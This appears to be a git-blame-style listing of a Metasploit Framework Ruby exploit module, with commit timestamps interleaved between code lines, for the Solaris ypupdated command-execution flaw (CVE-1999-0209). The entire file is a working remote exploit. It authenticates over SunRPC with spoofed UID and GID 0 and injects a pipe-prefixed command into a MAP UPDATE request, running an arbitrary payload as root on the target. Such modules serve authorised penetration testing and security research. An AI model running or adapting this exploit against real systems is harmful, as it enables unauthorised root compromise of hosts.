2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
2008-04-18 01:33:09 +00:00
|
|
|
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
2008-04-18 01:33:09 +00:00
|
|
|
|
2010-05-03 17:13:09 +00:00
|
|
|
require 'msf/core'
|
2008-04-18 01:33:09 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2008-04-18 01:33:09 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::SunRPC
|
2008-04-18 01:33:09 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-07-01 23:33:07 +00:00
|
|
|
super(update_info(info,
|
2008-04-18 01:33:09 +00:00
|
|
|
'Name' => 'Solaris ypupdated Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This exploit targets a weakness in the way the ypupdated RPC
|
|
|
|
application uses the command shell when handling a MAP UPDATE
|
|
|
|
request. Extra commands may be launched through this command
|
|
|
|
shell, which runs as root on the remote host, by passing
|
|
|
|
commands in the format '|<command>'.
|
|
|
|
|
|
|
|
Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
|
|
|
|
ypupdated is started with the '-i' command-line option.
|
|
|
|
},
|
2011-07-22 20:17:58 +00:00
|
|
|
'Author' => [ 'I)ruid <druid[at]caughq.org>' ],
|
2008-04-18 01:33:09 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2008-04-21 05:27:06 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-04-18 01:33:09 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '1999-0209'],
|
|
|
|
['OSVDB', '11517'],
|
2009-07-27 14:05:23 +00:00
|
|
|
['BID', '1749'],
|
2008-04-18 01:33:09 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Platform' => ['unix', 'solaris'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'DisableNops' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
2008-04-18 01:33:09 +00:00
|
|
|
},
|
|
|
|
'Targets' => [ ['Automatic', { }], ],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Dec 12 1994'
|
2008-04-18 01:33:09 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
|
|
|
|
OptInt.new('GID', [false, 'GID to emulate', 0]),
|
|
|
|
OptInt.new('UID', [false, 'UID to emulate', 0])
|
|
|
|
], self.class
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
hostname = datastore['HOSTNAME']
|
|
|
|
program = 100028
|
|
|
|
progver = 1
|
|
|
|
procedure = 1
|
|
|
|
|
2010-07-25 21:37:54 +00:00
|
|
|
print_status('Sending PortMap request for ypupdated program')
|
2008-04-18 01:33:09 +00:00
|
|
|
pport = sunrpc_create('udp', program, progver)
|
|
|
|
|
2010-07-25 21:37:54 +00:00
|
|
|
print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")
|
|
|
|
print_status('Waiting for response...')
|
2008-04-18 01:33:09 +00:00
|
|
|
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
|
|
|
|
command = '|' + payload.encoded
|
|
|
|
msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
|
|
|
|
sunrpc_call(procedure, msg)
|
|
|
|
|
|
|
|
sunrpc_destroy
|
|
|
|
|
2010-07-25 21:37:54 +00:00
|
|
|
print_status('No Errors, appears to have succeeded!')
|
2008-04-18 01:33:09 +00:00
|
|
|
rescue ::Rex::Proto::SunRPC::RPCTimeout
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error('Warning: ' + $!)
|
2008-04-18 01:33:09 +00:00
|
|
|
end
|
|
|
|
|
2009-07-21 15:20:35 +00:00
|
|
|
end
|